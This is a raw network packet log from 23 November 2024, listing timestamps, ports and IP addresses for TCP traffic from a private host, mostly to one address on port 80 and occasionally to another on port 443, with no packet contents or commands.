Nov 23, 2024 18:22:37.831243038 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.831310034 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.831334114 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.831548929 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.832314014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.832361937 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.832379103 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.832380056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.832401991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.832402945 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.832418919 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.832526922 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.867605925 CET	443	49829	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:37.867753983 CET	443	49829	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:37.867839098 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:37.867889881 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:38.005079985 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:38.005163908 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:38.005215883 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:38.013478041 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.013533115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.013566971 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.013576984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.013600111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.013612986 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.013613939 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.013628960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.013648987 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.013973951 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.014044046 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.014434099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.014478922 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.014487028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.014499903 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.014540911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.014565945 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.014698982 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.015249968 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.015261889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.015273094 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.015294075 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.015331984 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.015384912 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.015482903 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.016166925 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.016242981 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.016307116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.016319990 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.016350985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.016351938 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.016467094 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.017095089 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.017139912 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.017188072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.017199993 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.017211914 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.017235994 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.017256975 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.017765045 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.017810106 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.017813921 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.017826080 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.017862082 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.017940998 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.018074989 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.018568993 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.018616915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.018625021 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.018629074 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.018665075 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.018850088 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.018894911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.019445896 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.019468069 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.019479990 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.019491911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.019505024 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.019558907 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.019598961 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.020205021 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.020251989 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.020263910 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.020282984 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.020301104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.020344973 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.020415068 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.021097898 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.021147013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.021159887 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.021183968 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.021213055 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.021213055 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.021914959 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.021965981 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.021977901 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.021998882 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.022013903 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.022032976 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.022073030 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.022784948 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.022834063 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.022845984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.022859097 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.022877932 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.022903919 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.023502111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.023552895 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.023555040 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.023567915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.023603916 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.023664951 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.023711920 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.024334908 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.024363041 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.024374962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.024383068 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.024405003 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.024416924 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.024499893 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.024580002 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.025187016 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.025237083 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.025249004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.025289059 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.025315046 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.025321007 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.025363922 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.026027918 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.026074886 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.026087046 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.026120901 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.026149035 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.026166916 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.026226997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.026813030 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.026854038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.026869059 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.026870012 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.026912928 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.026941061 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.027043104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.027647018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.027695894 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.027713060 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.027745008 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.027749062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.027777910 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.027803898 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.028472900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.028518915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.028527975 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.028532028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.028559923 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.028570890 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.028640985 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.028687954 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.029344082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.029356003 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.029369116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.029378891 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.029395103 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.029416084 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.029536009 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.029731035 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.030147076 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.030167103 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.030179024 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.030189991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.030201912 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.030224085 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.030491114 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.030538082 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.030939102 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.030985117 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.030985117 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.030999899 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.031029940 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.031061888 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.031083107 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.031124115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.031775951 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.031819105 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.031836033 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.031836987 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.031850100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.031861067 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.031877041 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.031904936 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.032661915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.032708883 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.032716990 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.032728910 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.032763958 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.032788992 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.033118010 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.033529997 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.033549070 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.033560991 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.033571959 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.033596039 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.033652067 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.033730030 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.034256935 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.034276962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.034287930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.034321070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.034379959 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.034394979 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.034436941 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.035094976 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.035151005 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.107779026 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:38.107871056 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:38.214998007 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215013981 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215025902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215040922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215087891 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.215115070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.215317011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215512991 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215568066 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215580940 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215593100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.215614080 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.215642929 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.216367006 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.216379881 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.216392040 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.216404915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.216676950 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.217375040 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.217509985 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.217529058 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.217541933 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.217580080 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.217593908 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.218106985 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.218156099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.218168020 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.218210936 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.218211889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.218800068 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.218852997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.218878031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.218889952 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.219024897 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.219043016 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.219162941 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.219638109 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.219659090 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.219671011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.219727039 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.219753027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.219857931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.220463991 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.220536947 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.220592976 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.220606089 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.221287012 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.221342087 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.221354008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.221364975 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.222126961 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.222151041 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.222165108 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.222258091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.222923994 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.222963095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.223012924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.223063946 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.223756075 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.223808050 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.223819971 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.223902941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.224613905 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.224673033 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.224690914 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.224765062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.225426912 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.225446939 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.225459099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.225549936 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.226309061 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.226385117 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.226397038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.226474047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.227071047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.227132082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.227144957 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.227180004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.227881908 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.227931023 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.227942944 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.228032112 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.228734016 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.228786945 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.228799105 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.228888988 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.229548931 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.229595900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.229613066 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.229695082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.230391026 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.230433941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.230446100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.230534077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.231192112 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.231234074 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.231246948 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.231281042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.231832027 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.232075930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.232095003 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.232108116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.232163906 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.232863903 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.232908964 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.232922077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.232934952 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.233690977 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.233716011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.233728886 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.233892918 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.234607935 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.234628916 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.234641075 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.234745026 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.235342026 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.235394955 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.235429049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.235536098 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.236150026 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.236249924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.238114119 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.238159895 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.238179922 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.238214970 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.238238096 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.238274097 CET	49822	80	192.168.2.4	185.215.113.16
